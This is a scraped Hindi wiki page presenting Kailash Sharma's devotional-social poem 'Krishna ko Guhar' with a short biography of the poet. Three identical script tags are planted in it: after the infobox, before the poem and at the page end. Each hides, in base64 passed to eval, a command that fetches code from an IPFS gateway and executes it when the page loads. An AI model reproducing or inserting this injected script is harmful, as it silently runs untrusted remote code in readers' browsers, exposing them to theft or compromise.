कृष्ण को गुहार -कैलाश शर्मा

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 13:54, 28 अक्टूबर 2015 का अवतरण ('{| style="background:transparent; float:right" |- | {{सूचना बक्सा कविता |चित्र=Kailash-Sharma....' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
कृष्ण को गुहार -कैलाश शर्मा
कैलाश शर्मा
कवि कैलाश शर्मा
जन्म 20 दिसम्बर, 1949
जन्म स्थान मथुरा, उत्तर प्रदेश
सम्मान ‘तस्लीम परिकल्पना सम्मान - 2011'
अन्य जानकारी कैलाश शर्मा जी की 'श्रीमद्भगवद्गीता' (भाव पद्यानुवाद)’ पुस्तक प्रकाशित हो चुकी है। ब्लॉग लेखन के अतिरिक्त विभिन्न पत्र/पत्रिकाओं, काव्य-संग्रहों में भी इनकी रचनाएँ प्रकाशित हुई हैं।
इन्हें भी देखें कवि सूची, साहित्यकार सूची
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
कैलाश शर्मा की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कहाँ खो गये हो मुरलीधर,
ढूंढ़ रहे हैं भारतवासी।
जय घोषों से गूंजें मंदिर,
पर अंतर में गहन उदासी।

नारी की है लाज लुट रही,
नहीं द्रोपदी आज सुरक्षित।
मंदिर रोज नए बनते हैं,
पर मानव है छत से वंचित।

लाखों के अब मुकुट पहन कर,
विस्मृत किया सुदामा को क्यों?
व्यंजन सहस्त्र सामने हों जब,
कोदो सवां याद आये क्यों?

मुक्त करो अपने को भगवन
धनिकों के मायाजालों से।
मत तोड़ो विश्वास भक्त का,
मुक्त करो अब जंजालों से।

तुमने ही आश्वस्त किया था,
जब भी होगा नाश धर्म का।
आऊंगा मैं फिर धरती पर
करने स्थापित राज्य धर्म का।

बाहर आओ अब तो भगवन
मंदिर की इन दीवारों से ।
नहीं बनो रनछोड़ दुबारा,
करो मुक्त अत्याचारों से।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>